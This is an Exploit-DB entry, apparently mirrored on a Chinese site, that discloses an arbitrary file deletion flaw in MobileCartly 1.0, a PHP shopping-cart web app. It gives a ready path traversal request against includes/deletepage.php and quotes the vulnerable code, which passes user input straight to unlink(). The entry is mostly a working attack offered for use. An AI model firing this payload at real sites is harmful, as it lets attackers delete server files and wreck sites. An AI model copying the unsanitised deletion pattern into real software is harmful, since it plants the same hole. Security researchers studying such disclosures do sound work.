MobileCartly 1.0 – Arbitrary File Deletion

• Exploit Database
• 34 阅读

• 作者： GoLd_M
  日期： 2012-08-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20398/

• # Exploit Title: MobileCartly 1.0 <= Arbitrary Delete Vulnerability
  # Date: 09/08/2012
  # Author: GoLd_M
  # Vendor or Software Link: http://mobilecartly.com/mobilecartly.zip
  # Version: 1.0
  # Category:: Arbitrary Delete Vulnerability
  # Google dork: :(
  # Tested on: Xp SP 2
  # Ex : 	[MobileCartly 1.0]/includes/deletepage.php?deletepage=../[File]
  # Code Page /includes/deletepage.php
  # <?
  #
  # $page = "../pages/" . $_REQUEST['deletepage']; <<---XXX
  #
  # unlink($page); <<---XXX[Booooom]
  #
  #
  # ?>